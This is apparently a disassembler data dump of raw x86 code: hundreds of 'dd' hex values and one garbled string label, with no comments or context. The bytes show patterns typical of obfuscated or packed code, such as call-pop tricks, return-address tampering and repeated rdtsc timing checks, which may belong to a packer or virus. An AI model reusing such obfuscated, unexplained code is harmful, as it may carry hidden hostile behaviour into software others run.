		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FDCC355h, 687h, 75950900h, 6A06120Eh
		dd 0FE900h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh
		dd 0C5858D0Ah, 0F06170Dh, 0C083DBB7h, 6E905h, 0E1920000h
		dd 51C91A03h, 66525050h, 310FFA8Bh, 0FDEEBE60h,	850F387Fh
		dd 0
		dd 89585A61h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8B97C3h, 6121881h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D5DAF1C3h, 4CFCD986h, 6A006AE5h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5AB7C352h
		dd 8B00772Ch, 1214ADBDh, 0B595FF06h, 6A06120Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0B695C355h, 0E2EF9CEFh, 58A74630h, 0AF028D8Dh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0E4B90DC3h, 2695BD8Bh, 0D1FF0612h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0DCC35242h,	939133D8h, 0FBF6662h
		dd 0ADBD8315h, 1061207h, 61850Fh, 95890000h, 6121029h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0DE4CC3h,	0AB2746B0h, 0B1BD8941h,	90061234h
		dd 461E36BFh, 0BF565019h, 142591Fh, 0FE8905Fh, 53000000h
		dd 11992CA4h, 3291106Fh, 3C5E6EB6h, 0FF5FBD51h,	1206A595h
		dd 558D0906h, 0E9061200h, 0DB4h, 0E8h, 0ED815D00h, 6170DCFh
		dd 1DBD8Bh, 6A0612h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 6E595AC3h, 0D88B783Fh, 2783DBBFh
		dd 37858D43h, 0F061594h, 689h, 1DB52900h, 50061211h, 489DF8Bh
		dd 64FA8A24h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 54B0DEC3h, 9E9h, 0FAE0A200h
		dd 0D1A4A6A2h, 89647B07h, 25h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DF62F50Ah
		dd 1AE488CEh, 2D8D9D8Bh, 8D890612h, 61207CDh, 67985FFh
		dd 0BD890612h, 6121A29h, 8B60FF6Ah, 12200995h, 3D8D8B06h
		dd 61061203h, 268DB5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9E09CBC3h, 612C8C9Ch
		dd 0B595FFCBh, 0E906122Ch, 11Ah, 68F0Fh, 95890000h, 6122DDDh
		dd 0DE800B0h, 0AE000000h, 0E4CEC327h, 395576D0h, 0DD8B7E23h
		dd 5FFBB70Fh, 9D8B70E6h, 6122AF1h, 805671E4h, 95FA9C3h
		dd 121E51B5h, 0F613C06h, 0D983h, 0F06B300h, 0E781C8B6h
		dd 13C3F4F4h, 6BAh, 0E567BB00h,	0C18B5974h, 4E8C1F8h, 0FFD38166h
		dd 0E2F76674h, 5E9h, 24427D00h,	0C82B1E02h, 67EBCF81h
		dd 0D18B5E28h, 9BE992B7h, 0F000000h, 1589h, 10E900h, 1D640000h
		dd 2E4E5A89h, 83A5230Eh, 9A56C3EFh, 858BE09Dh, 47554C50h
		dd 0AE9h, 7D1CBE00h, 1ADB6C56h,	83CA28B1h, 0BD8B07C0h
		dd 61214A9h, 8900C083h,	1211719Dh, 0FD03B06h, 1483h, 0A19D2300h
		dd 0E9061211h, 46h, 8BFBB70Fh, 120DA59Dh, 0FF8D8B06h, 8BFFFFFFh
		dd 121F8DBDh, 0FDF78106h, 83195280h, 840F01E1h,	22h, 341BB66h
		dd 0FFFFA583h, 89FEFFFFh, 1228B19Dh, 50958906h,	8B47554Ch
		dd 1204B59Dh, 0E906h, 0B58D0000h, 6168918h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0DEC0D249h
		dd 9D8B0AACh, 612172Dh,	8166006Ah, 0FFE177CBh, 1219CD95h
		dd 1D9D8B06h, 0B906122Fh, 0EE9h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0D2C35141h,	0F75879F1h, 0D51FD58Dh
		dd 15BD8Bh, 60510612h, 8BDFBF0Fh, 895F61D9h, 1207A99Dh
		dd 0FCE18306h, 8AFEBF0Fh, 6AFCDCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 7F0D88C3h, 2B15C926h
		dd 0F88B66C0h, 0BAh, 33BB6600h,	0C233AD73h, 0D003E8D1h
		dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 6A3D9C25h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2C11C353h, 0ABD6E574h
		dd 81292D26h, 929F77CBh, 880D3Eh, 0BD2B0000h, 6121AADh
		dd 41D9D31h, 958B0612h,	61209A1h, 2899D8Bh, 8D8B0612h
		dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0DCC35040h, 0C28B50AEh,	0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 6B0FC357h, 6A58D680h
		dd 2F219D89h, 0BD8B0612h, 6121345h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0A3C35040h,	816619B5h, 83E285CFh
		dd 122121BDh, 840F0006h, 58h, 1B3D9D0Bh, 0B80612h, 29000000h
		dd 122F299Dh, 0B58D8D06h, 6A06124Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C8D1C355h
		dd 85899DA8h, 61219D1h,	1EB9B589h, 0E1FF0612h, 8E8h, 0FE6AAF00h
		dd 8CF035C2h, 69BD8B20h, 5F06120Dh, 1BD9BD83h, 0F000612h
		dd 4CB84h, 0CDBD2300h, 83061209h, 121BD9BDh, 840F0106h
		dd 4D3h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	7AC35242h, 666D024Dh, 33D1B816h, 2880Fh, 0FE8A0000h
		dd 1BD9BD83h, 0F030612h, 46486h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 6CE3528h, 60912D1Eh
		dd 66D9B70Fh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 6AA778C3h, 66998E26h, 0DCD3CF81h
		dd 0A870Fh, 5E90000h, 65000000h, 1B341339h, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 15A7C351h, 68D0Fh, 0BD2B0000h, 6121181h
		dd 840FC90Ah, 130h, 9589F960h, 6121859h, 8D858B61h, 60061230h
		dd 9D8960B2h, 61229B5h,	65853361h, 0F061231h, 8B50DEBFh
		dd 240489FEh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	0F2C35343h, 8BC44A2Eh, 122D7DBDh, 259D8B06h, 0B306121Fh
		dd 6A006AEEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 3FCEC350h, 8A0DF218h, 505968DAh
		dd 8B669C40h, 240481FAh, 63DEB3A6h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 76C35747h, 2D219D8Bh, 5F520612h
		dd 237995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8112E6C3h, 3E5DF2CBh, 12858945h
		dd 6A0615C8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7089C356h, 0BF66644Eh,	813A0F7Eh
		dd 207E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 13669025h, 0CEC8C7BBh, 0DA8B60E3h
		dd 61E6C980h, 0C80A858Bh, 6E80615h, 0AB000000h,	0A3B982EBh
		dd 0C75FACh, 18h, 12E9h, 54C51600h, 8E257A9h, 667C2C59h
		dd 953ECDC7h, 8BC521D9h, 15C80EB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 858BA320h, 6122AB9h, 84D838BBh, 29068915h
		dd 123139B5h, 8D858B06h, 6A061230h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6C94C353h
		dd 0BB236411h, 816631B7h, 0F52F8CCBh, 6A044689h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 82A7C351h, 1665871Dh, 598D31FDh, 96061222h, 820F5250h
		dd 6, 870Fh, 310F0000h,	585A38B3h, 96FA8B50h, 6E9h, 5A67C000h
		dd 0FF0B0D3Ch, 15C80AB5h, 5DBD2306h, 0E8061229h, 4, 1F03FFh
		dd 8A50D98Bh, 24448BFEh, 0A860F04h, 50000000h, 0F616052h
		dd 5A616031h, 0E9008B58h, 9, 52719F7Ah,	0BADB4C2Ah, 24448933h
		dd 0DE804h, 3950000h, 0B445D8AEh, 0D4024A34h, 509ADF8Eh
		dd 0AE952h, 56A90000h, 0F34A67F0h, 3CD26DB6h, 0BB66310Fh
		dd 585A0018h, 6A585Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 3ED375C3h, 0DE82643h, 0D4000000h
		dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0D62505BFh, 81665F3Ah
		dd 8D7569D7h, 15C81285h, 0FABF0F06h, 50FD8A90h,	0DB7DBB66h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 6F2DE421h, 8BEF3C1Ch, 120CD59Dh,	5E906h
		dd 99560000h, 0FF93010Bh, 12237995h, 0FFBF0F06h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F8516528h, 0D95B589h, 85C70612h, 6121BD9h, 3, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 7FC35040h, 0F8D28160h
		dd 8B1FEF72h, 0BD8361D1h, 615C812h, 62840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 28A9C353h, 3681C292h, 8D0F85ECh, 6, 2BED9D8Bh
		dd 85890612h, 6120DB9h,	43E9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 892D06AFh
		dd 49DF13CAh, 0B70F9A93h, 0C3050D9h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 59C35747h, 82FE842h, 6C93EF81h, 6A2708h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 450B3DC3h, 9D29DF45h, 6122FF1h, 0BD83D88Bh, 6121BD9h
		dd 0D6850F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 80CBC356h, 14EB8576h
		dd 83B29D4Ch, 15C812BDh, 840F0006h, 3A5h, 1F099D03h, 0B5FF0612h
		dd 615C812h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	4BC35343h, 0A339D52Fh, 0BE960h,	48D00000h, 882EA02Eh
		dd 0EB5C2444h, 0BE9CDh,	724E0000h, 0E4044E4h, 0CA73D45Dh
		dd 95FF6125h, 6121AA9h,	0B58BF88Bh, 615C806h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 23C35141h, 0C31A7D78h
		dd 0F6F78153h, 0C74456E1h, 1000106h, 8E900h, 7AC30000h
		dd 9A741B74h, 0E9506E63h, 0Fh, 69D6C36Fh, 0F7E7EC18h, 557B222h
		dd 89A5EE41h, 0BD8B2434h, 6122369h, 0C812B5FFh,	6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 621941C3h, 0F6CAAA1Bh, 9021F781h, 850F4917h,	6, 23159D8Bh
		dd 95FF0612h, 6121C05h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 27C35141h, 0D87DD66Fh, 13E9C0EAh, 0D1000000h
		dd 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh, 0B58BFFFCh
		dd 615C806h, 289DBD89h,	858B0612h, 61201A5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 87C35747h, 0F655E58Dh
		dd 12ACC6D6h, 859D8B4Fh, 0F8061215h, 0F88B6656h, 0C486895Bh
		dd 0E9000000h, 7, 9978FFE8h, 8B4743D5h,	1209A195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BF52092Eh, 30C27987h, 0DE95Bh, 0ADF70000h, 0E484CFA2h
		dd 0AA295026h, 83297440h, 42B704C2h, 1205089h, 1209BD9Dh
		dd 6F858D06h, 890615DCh, 121455BDh, 0B8868906h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 37B0C351h, 0B5FF006Ah, 615C812h, 0E799589h
		dd 95FF0612h, 61206A5h,	96FEB70Fh, 6AB96660h, 0B4BB66E7h
		dd 0E95061FAh, 10h, 5CD33392h, 7A1B5288h, 3312889Ch, 88F68F53h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 9F9BB7D5h, 108B9368h, 9D8BF4FDh,	61212C5h
		dd 0C812B5FFh, 95FF0615h, 6120281h, 451BD8Bh, 0BD830612h
		dd 6122A09h, 61840F00h,	51000000h, 11E9h, 505EBA00h, 0AB1A5531h
		dd 0F38F768Ah, 7861BBE5h, 505FC81Bh, 2830F60h, 53000000h
		dd 0EE858h, 0C9E0000h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh
		dd 0CE8h, 0B963D00h, 91548D64h,	0D2976ACEh, 6158588Eh
		dd 0E8243489h, 9, 0AF0F1904h, 2CD1FBC6h, 95BD8B34h, 5F061203h
		dd 0C812B5FFh, 64B70615h, 5513BB66h, 18C195FFh,	6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 95C641C3h, 798D89F1h, 0FF061210h, 15C812B5h,	3DBD8906h
		dd 0FF061210h, 121BA195h, 0C5BD8B06h, 83061203h, 121EB1BDh
		dd 840F0206h, 54h, 858BDF8Bh, 61203A5h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 3FC35141h, 0CCE5EAF7h
		dd 0C65BFC2Eh, 6A0000h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 8873D2C3h, 0A94DAB93h, 0C3B7DBDEh
		dd 1B5985C7h, 612h, 8E0F0000h, 5, 0D7F38166h, 0F34AE975h
		dd 9531FFFFh, 6123075h,	6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0C4EC87C3h, 0BADE26BAh
		dd 7E9h, 0D27F9900h, 0A9B5B3E6h, 2E01858Dh, 6A0612h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 9447E5C3h, 8B85039Ah, 1207CDBDh, 10E806h, 0D2F00000h
		dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 0B589E14Fh, 6121915h
		dd 30B3905Bh, 2890F50h,	53000000h, 6A905Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0D26286C3h
		dd 16850Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h
		dd 3844C0Dh, 71EF014Fh,	6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 6A2BFDC3h, 0AB858D00h
		dd 6A06171Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 6D9CC355h, 0BD8B1650h,	6121845h
		dd 0C083F88Bh, 51CF8105h, 5026BFB8h
		dd 1B358531h, 905F0612h, 7595BF50h, 8B907E31h, 1206C5BDh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0EC18C355h, 0B222F7E7h, 0B70F0557h
		dd 8B006AFEh, 120D2D9Dh, 0B595FF06h, 6A06120Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5760C355h, 8B04B3E3h, 12302DBDh, 919D8906h, 8D061200h
		dd 15AF028Dh, 0FE806h, 50880000h, 4AF562BBh, 0E1638379h
		dd 1D459362h, 8BFC60A0h, 1200A1BDh, 0FF5F6106h,	56006AD1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0B99314Ch, 121395BDh, 0ADBD8306h, 1061207h, 77850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 5027B5C3h, 66026A60h, 5A60DF81h, 0DE8A5290h
		dd 6A90505Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 4ED5C357h, 0FF71CAB7h,	1206A595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 4C40120Fh, 8B4730E9h, 0E87E9F8h,	0E80000h
		dd 5D000000h, 1DB5ED81h, 8B660617h, 51006ADAh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 12B933E0h
		dd 9C2CF95Ah, 858DFE8Ah, 6159437h, 0BE9h, 74AD8900h, 5D6A0C24h
		dd 4E5B298h, 50DE8A90h,	4840Fh,	8B560000h, 89905FFEh, 1221918Dh
		dd 35FF6406h, 0
aFUFbicDi	db 'f¿ã{fëç#d‰%',0
		align 4
aJ_0		db 'j',0
		dw 0E852h
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 89C35242h, 0F59D8B48h
		dd 8A061209h, 9D3160F9h, 6121159h, 461B58Bh, 0FF610612h
		dd 12067985h, 0F3816606h, 0FF6AD071h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 7BC35646h, 922FB26Ah, 7240B8EFh
		dd 0D9B70F96h, 50DB5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 89BF97C3h, 12234585h
		dd 29858906h, 0FF06121Ah, 122CB595h, 140E906h, 0BD8B0000h
		dd 612286Dh, 9D8B00B0h,	6122659h, 870F70E6h, 14h, 0FE9h
		dd 701F8A00h, 13823504h, 0AB1EDC57h, 76150AEh, 0BD8B71E4h
		dd 6123109h, 830F613Ch,	106h, 1D6D8589h, 0B60F0612h, 6D9D0BC8h
		dd 0BA061200h, 6, 8BDEB70Fh, 0AE9C1h, 90B20000h, 946B632Dh
		dd 999C219Eh, 0B8F78166h, 4E8C17Bh, 9F19D8Bh, 0F7660612h
		dd 0FDBD8BE2h, 8906122Eh, 1229159Dh, 0E9C82B06h, 0Dh, 38D6A006h
		dd 31E2365Fh, 0FFF7BA57h, 0E9D18BB1h, 6, 0DE2CD343h, 9BE966E0h
		dd 0E8000000h, 0Eh, 1E266F1h, 0FD4CF404h, 0E1F16AD8h, 0FA8B9BA0h
		dd 49858B5Bh, 8B44004Eh, 1211059Dh, 7C08306h, 85895160h
		dd 61229F5h, 68E0F59h, 8B000000h, 1206518Dh, 0C0836106h
		dd 0BD8B5200h, 61218BDh, 0FD03B5Bh, 0B83h, 48E900h, 0F7810000h
		dd 756AFFB9h, 0FFFF8D8Bh, 8501FFFFh, 6122BD5h, 0F01E183h
		dd 2D84h, 0DA08BF00h, 0B5895AD4h, 6122199h, 0FFFFA583h
		dd 60FEFFFFh, 1CFDBD8Bh, 89610612h, 4E4995h, 2800F44h
		dd 8A000000h, 0E9D9h, 0B58D0000h, 6169801h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h, 0E8004036h
		dd 0Bh,	650F2F65h, 0CD10BB2Eh, 0F98AA4E1h, 0F006A5Fh, 95FFF8B7h
		dd 61219CDh, 8E9h, 186A7900h, 0BEC81737h, 0F73B939h, 0FE8A0000h
		dd 29FCE183h, 1219F595h, 6AFC06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0E3AEBCC3h, 0FE38BFD0h
		dd 8B66E380h, 6AC02BD9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 966C357h, 522C8E23h
		dd 0BA5Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0CDF67AC3h, 0F691B77h, 581h, 0BE66BB00h
		dd 33AD3E81h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0F13471C3h
		dd 91C4190Bh, 6A03949Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0C439C357h,	236A52B1h
		dd 8BDA5061h, 880DF9h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 410557C3h, 0BD8BA5EEh
		dd 61203A1h, 9A1958Bh, 6A0612h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0C2833C3h, 0E8813C2Eh
		dd 8B2A8864h, 1205058Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 69F3D338h, 119D2953h
		dd 50061201h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0D3816658h, 6E889D0h, 0EE000000h, 0E1219D75h, 0A9958970h
		dd 5B061230h, 2121BD83h, 0F000612h, 0A184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0F470AFA9h, 0F2E8BFA8h, 0B81D64h, 60000000h,	23759D89h
		dd 870F0612h, 11h, 0CE9h, 1A386B00h, 0C8BE4970h, 11B0416Fh
		dd 8D8D61A0h, 6124DB5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 3CC35747h, 1CDA6EBAh,	0B9BD8BB9h, 0FF06120Eh
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7DD447A5h, 94C747DEh, 14E98501h,	0BD830612h
		dd 6121BD9h, 1B840F00h,	0F000004h, 0BD83FEBFh, 6121BD9h
		dd 26840F01h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7719C357h, 0B7AF1647h
		dd 0D9BD8357h, 306121Bh, 3C1860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B09276C3h
		dd 27C9BB58h, 81664D5Eh, 6019C3CFh, 19D18D89h, 8C660612h
		dd 0D99589D9h, 8006120Dh, 6A04E1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 663417C3h, 0A981EBFh
		dd 0EB840FC9h, 89000000h, 1212119Dh, 8D858B06h,	31061230h
		dd 1223C1B5h, 65853306h, 6A061231h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 9485C350h
		dd 0C38180C0h, 0EB86841h, 51525090h, 310F5250h,	0F5F585Ah
		dd 56525031h, 50310F5Fh, 5A310F52h, 5A585A58h, 0F905058h
		dd 685h, 0FD9D8900h, 0E806120Eh, 0Ch, 4F408BE3h, 0A9DDAA04h
		dd 6DB9A40Eh, 8A006A5Bh, 0A32168D8h, 14E830EDh,	15000000h
		dd 82C5ACAFh, 43D6D03h,	71E824A0h, 4F25F9A5h, 8B1F0093h
		dd 34815FF9h, 0F2A0DE24h, 53006A30h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66B3B601h
		dd 56DBEB81h, 237995FFh, 0BF0F0612h, 128589DEh,	660615C8h
		dd 0D7BFFB8Bh, 0E9217CB9h, 1E4h, 29A9BD23h, 858B0612h
		dd 615C80Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0B5C35747h, 79032EBDh, 8B3970AAh, 1221DD9Dh, 1800C706h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A63FC355h, 407E56FFh,	81ACA2F8h
		dd 9FCED0F7h, 0EB58B2Eh, 6A0615C8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0C944C356h
		dd 2F9A38EBh, 115D381h,	858B41FAh, 6122AB9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h, 31BB8E62h
		dd 892836C5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 85B58953h, 8B061230h, 12308D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F2A2CBFh, 4689DBBFh, 959D8B04h,	96061209h
		dd 1A850Fh, 52500000h, 1A555FBFh, 0E8310F60h, 9, 7484DFB8h
		dd 665657BDh, 585A5F09h, 1CBF6650h, 6A966Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0DDBAA5C3h
		dd 10E9h, 9C769900h, 0A394FEE4h, 0AC0BDE99h, 0AC536221h
		dd 58E0FA9h, 0BF000000h, 61CBB2DCh, 0C80AB5FFh,	6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0ABECBCC3h, 0C3848C14h, 68F8BF0Fh, 9BA7037Eh, 481C8B7h
		dd 78008124h, 81665364h, 5B417AEBh, 0C812858Dh,	60500615h
		dd 5A515250h, 5250310Fh, 585A310Fh, 800F585Ah, 0
		dd 24048961h, 0BDBD8960h, 61061220h, 237995FFh,	0DE8B0612h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F838CA1h, 687h,	7DBD8B00h, 0C7061226h
		dd 121BD985h, 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0DABD0998h, 12BD83C9h
		dd 615C8h, 31840Fh, 8B660000h, 44E9D8h,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 296F60C3h, 0BA77169Fh, 72BFD517h, 5035825Ch,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0DC8AC08Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D2C35646h
		dd 0B589EE0Fh, 6120065h, 1BD9BD83h, 0F030612h, 4D585h
		dd 0DAC38100h, 0E81E7E1Ah, 0Bh,	9F5E638Ah, 2DBFAB35h, 81481168h
		dd 1BE445DFh, 0BD835B2Dh, 615C812h, 0AB840F00h,	6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4DC357h, 3F53509h, 81FD754Eh, 0E617ACEFh
		dd 3E84BF0Fh, 0B5FF7BBAh, 615C812h, 13D9BD03h, 95FF0612h
		dd 6121AA9h, 126CF81h, 0BD8B758Dh, 61204ADh, 0C806B58Bh
		dd 11E80615h, 0B6000000h, 1E11E6A0h, 68857546h,	0EDA83839h
		dd 65687135h, 1681BD8Bh, 0C75B0612h, 1000106h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 91BD01B1h, 8B061203h, 12315D9Dh, 51609606h, 0E859C58Ah
		dd 0Dh,	0B6A6D43Ah, 3571D8FAh, 795140EDh, 5E9F8h, 6A530000h
		dd 5898357Ah, 5B505061h, 10E996h, 0ECE70000h, 0AA9B8424h
		dd 2F23384Ah, 59824B5Dh, 0B5FF5586h, 615C812h, 5947C381h
		dd 95FF14FEh, 6121C05h,	7E8h, 933F8F00h, 0DBCC130h, 3D1BD8Bh
		dd 8B5B0612h, 15C806B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
